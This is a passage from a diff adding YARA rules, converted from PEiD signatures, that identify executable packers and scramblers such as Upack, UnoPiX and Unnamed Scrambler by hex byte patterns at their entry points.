+        $a = {55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8 ?? ?? FF FF C7 05 ?? ?? 40 00 0A 00 00 00 BB ?? ?? 40 00 BE ?? ?? 40 00 BF ?? ?? 40 00 B8 ?? ?? 40 00 BA 04 00 00 00 E8 ?? EB FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 0A F3 FF FF 89 03 83 3B 00 0F 84 F7 04 00 00 B8 ?? ?? 40 00 8B 16 E8 ?? E1 FF FF B8 ?? ?? 40 00 E8 ?? E0 FF FF 8B D0 8B 03 8B 0E E8 ?? ?? FF FF 8B C7 A3 ?? ?? 40 00 8D 55 EC 33 C0 E8 ?? D3 FF FF 8B 45 EC B9 ?? ?? 40 00 BA ?? ?? 40 00 E8 8B ED FF FF 3C 01 75 2B A1}
+    condition:
+        $a
+}
+
+rule PEiD_02344_Unnamed_Scrambler_2_5A____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.5A -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02345_Unnamed_Scrambler_2_5A____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.5A -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8 37 D3 FF FF C7 05 BC 6C 40 00 0A 00 00 00 BB 68 6C 40 00 BE 90 6C 40 00 BF E8 64 40 00 B8 C0 6C 40 00 BA 04 00 00 00 E8 07 EC FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 09 F3 FF FF 89 03 83 3B 00 0F 84 BB 04 00 00 B8 C0 6C 40 00 8B 16 E8 06 E2 FF FF B8 C0 6C 40 00 E8 24 E1 FF FF 8B D0 8B 03 8B 0E E8 D1 D2 FF FF 8B C7 A3 20 6E 40 00 8D 55 EC 33 C0 E8 0C D4 FF FF 8B 45 EC B9 1C 6E 40 00 BA 18 6E 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_02346_UnoPiX_0_75____BaGiE_
+{
+    meta:
+        description = "[UnoPiX 0.75 -> BaGiE]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 07 00 00 00 61 68 ?? ?? 40 00 C3 83 04 24 18 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 61}
+    condition:
+        $a
+}
+
+rule PEiD_02347_UnoPiX_1_03_1_10____BaGiE_
+{
+    meta:
+        description = "[UnoPiX 1.03-1.10 -> BaGiE]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 04 C7 04 24 00 ?? ?? ?? C3 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 00 00 00 02 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 10}
+    condition:
+        $a
+}
+
+rule PEiD_02348_Unpacked_BS_SFX_Archive_v1_9_
+{
+    meta:
+        description = "[Unpacked BS-SFX Archive v1.9]"
+        ep_only = "true"
+    strings:
+        $a = {1E 33 C0 50 B8 ?? ?? 8E D8 FA 8E D0 BC ?? ?? FB B8 ?? ?? CD 21 3C 03 73}
+    condition:
+        $a
+}
+
+rule PEiD_02349_UPack_0_11_
+{
+    meta:
+        description = "[UPack 0.11]"
+        ep_only = "false"
+    strings:
+        $a = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7}
+    condition:
+        $a
+}
+rule PEiD_02350_Upack_0_12_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.12 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 48 01 40 00 AD ?? ?? ?? A5 ?? C0 33 C9 ?? ?? ?? ?? ?? ?? ?? F3 AB ?? ?? 0A ?? ?? ?? ?? AD 50 97 51 ?? 87 F5 58 8D 54 86 5C ?? D5 72 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B6 5F FF C1}
+    condition:
+        $a
+}
+
+rule PEiD_02351_Upack_0_1x_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.1x beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1}
+    condition:
+        $a
+}
+
+rule PEiD_02352_Upack_0_20_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.20 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3}
+    condition:
+        $a
+}
+
+rule PEiD_02353_Upack_0_21_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.21 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 40 00 AD 8B F8 6A 04 95 A5 33 C0 AB 48 AB F7 D8 59 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00}
+    condition:
+        $a
+}
+rule PEiD_02354_Upack_0_22___0_23_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.22 - 0.23 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 59 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02355_Upack_0_22___0_23_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.22 - 0.23 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 ?? 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02356_Upack_0_22___0_23_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.22 - 0.23 beta -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54}
+    condition:
+        $a
+}
+
+rule PEiD_02357_Upack_0_24_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.24 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 40 00 AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0}
+    condition:
+        $a
+}
+rule PEiD_02358_Upack_0_28___0_399__relocated_image_base___Delphi___NET__DLL_or_something_else____Dwing__h__
+{
+    meta:
+        description = "[Upack 0.28 - 0.399 (relocated image base - Delphi, .NET, DLL or something else -> Dwing (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72}
+    condition:
+        $a
+}
+
+rule PEiD_02359_Upack_0_36_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.36 beta -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C}
+    condition:
+        $a
+}
+
+rule PEiD_02360_Upack_0_37_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.37 beta -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02361_Upack_0_38_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.38 beta -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02362_Upack_0_399____Dwing_
+{
+    meta:
+        description = "[Upack 0.399 -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02363_UPack_Alt_Stub____Dwing_
+{
+    meta:
+        description = "[UPack Alt Stub -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 C3 F6 00 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD}
+    condition:
+        $a
+}
+
+rule PEiD_02364_Upack_v0_10___v0_12Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.10 - v0.12Beta -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {BE 48 01 ?? ?? ?? ?? ?? 95 A5 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_02365_Upack_V0_10_V0_11____Dwing___Sign_by_fly_
+{
+    meta:
+        description = "[Upack V0.10-V0.11 -> Dwing ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5}
+    condition:
+        $a
+}
+rule PEiD_02366_Upack_V0_10_V0_11____Dwing_
+{
+    meta:
+        description = "[Upack V0.10-V0.11 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7}
+    condition:
+        $a
+}
+
+rule PEiD_02367_UPack_v0_11_
+{
+    meta:
+        description = "[UPack v0.11]"
+        ep_only = "false"
+    strings:
+        $a = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 55 CC 33 C9 E9 DF 00 00 00 8B 5E 0C 83 C2 30 FF D5 73 50 83 C2 30 FF D5 72 1B 83 C2 30 FF D5 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 46 0C B1 80 8A 00 EB CF 83 C2 60 FF D5 87 5E 10 73 0D 83 C2 30 FF D5 87 5E 14 73 03 87 5E 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 96 7C 07 00 00 FF 55 D0 5B 91 EB 77 3C 07 B0 07 72 02 B0 0A 50 87 5E 10 87 5E 14 89 5E 18 8D 96 C4 0B 00 00 FF 55 D0 50 48}
+    condition:
+        $a
+}
+rule PEiD_02368_Upack_v0_1x___v0_2x____Dwing_
+{
+    meta:
+        description = "[Upack v0.1x - v0.2x -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 8B F8 95}
+    condition:
+        $a
+}
+
+rule PEiD_02369_Upack_v0_21Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.21Beta -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 8B F8 ?? ?? ?? ?? 33}
+    condition:
+        $a
+}
+rule PEiD_02370_Upack_v0_22___v0_23Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.22 ~ v0.23Beta -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02371_Upack_v0_24___v0_28alpha____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.24 ~ v0.28alpha -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 40 00 AD ?? ?? 95 AD 91 F3 A5 AD}
+    condition:
+        $a
+}
+
+rule PEiD_02372_Upack_v0_29_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.29 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 29}
+    condition:
+        $a
+}
+
+rule PEiD_02373_Upack_v0_29_Beta___v0_31_Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.29 Beta ~ v0.31 Beta -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3}
+    condition:
+        $a
+}
+
+rule PEiD_02374_Upack_v0_2Beta_
+{
+    meta:
+        description = "[Upack v0.2Beta]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 8B F8 95 A5 33 C0 33}
+    condition:
+        $a
+}
+rule PEiD_02375_Upack_v0_30_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.30 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 30}
+    condition:
+        $a
+}
+
+rule PEiD_02376_Upack_v0_31_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.31 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 31}
+    condition:
+        $a
+}
+
+rule PEiD_02377_Upack_v0_32_Beta__Patch_____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.32 Beta (Patch) -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 50 ?? AD 91 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02378_Upack_v0_32_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.32 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32}
+    condition:
+        $a
+}
+
+rule PEiD_02379_Upack_v0_32_Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.32 Beta -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 50 ?? ?? AD 91 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02380_Upack_v0_32_Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.32 Beta -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 50 ?? AD 91 ?? F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02381_Upack_v0_33___v0_34_Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.33 ~ v0.34 Beta -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? 59 F3 A5 83 C8 FF 8B DF AB 40 AB 40}
+    condition:
+        $a
+}
+
+rule PEiD_02382_Upack_v0_35_alpha____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.35 alpha -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {8B F2 8B CA 03 4C 19 1C 03 54 1A 20}
+    condition:
+        $a
+}
+rule PEiD_02383_Upack_V0_36____Dwing_
+{
+    meta:
+        description = "[Upack V0.36 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 18 10 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02384_Upack_V0_36____Dwing_
+{
+    meta:
+        description = "[Upack V0.36 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? FF 36 E9 C3 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02385_Upack_v0_36_alpha____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.36 alpha -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {AB E2 E5 5D 59 8B 76 68 51 59 46 AD 85 C0}
+    condition:
+        $a
+}
+
+rule PEiD_02386_Upack_v0_37_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.37 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 8E FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+    condition:
+        $a
+}
+rule PEiD_02387_Upack_v0_37___v0_38_Beta__Strip_base_relocation_table_Option_____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.37 ~ v0.38 Beta (Strip base relocation table Option) -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33}
+    condition:
+        $a
+}
+
+rule PEiD_02388_Upack_V0_37_V0_39____Dwing_
+{
+    meta:
+        description = "[Upack V0.37-V0.39 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? AD 50 FF ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_02389_Upack_v0_38_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.38 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 97 FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+    condition:
+        $a
+}
+
+rule PEiD_02390_Upack_v0_39_final____Dwing__h__
+{
+    meta:
+        description = "[Upack v0.39 final -> Dwing (h)]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02391_Upack_v0_39_final____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.39 final -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91}
+    condition:
+        $a
+}
+
+rule PEiD_02392_Upack_v0_39_final____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.39 final -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02393_Upack_v0_399____Dwing_
+{
+    meta:
+        description = "[Upack v0.399 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00}
+    condition:
+        $a
+}
+rule PEiD_02394_Upack_v0_399____Dwing_
+{
+    meta:
+        description = "[Upack v0.399 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? 00 14 00 00 00 00 ?? ?? 00 ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? 00 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? 00 ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5}
+    condition:
+        $a
+}
+
+rule PEiD_02395_Upack_v0_399____Dwing_
+{
+    meta:
+        description = "[Upack v0.399 -> Dwing]"
+        ep_only = "true"
+    strings:
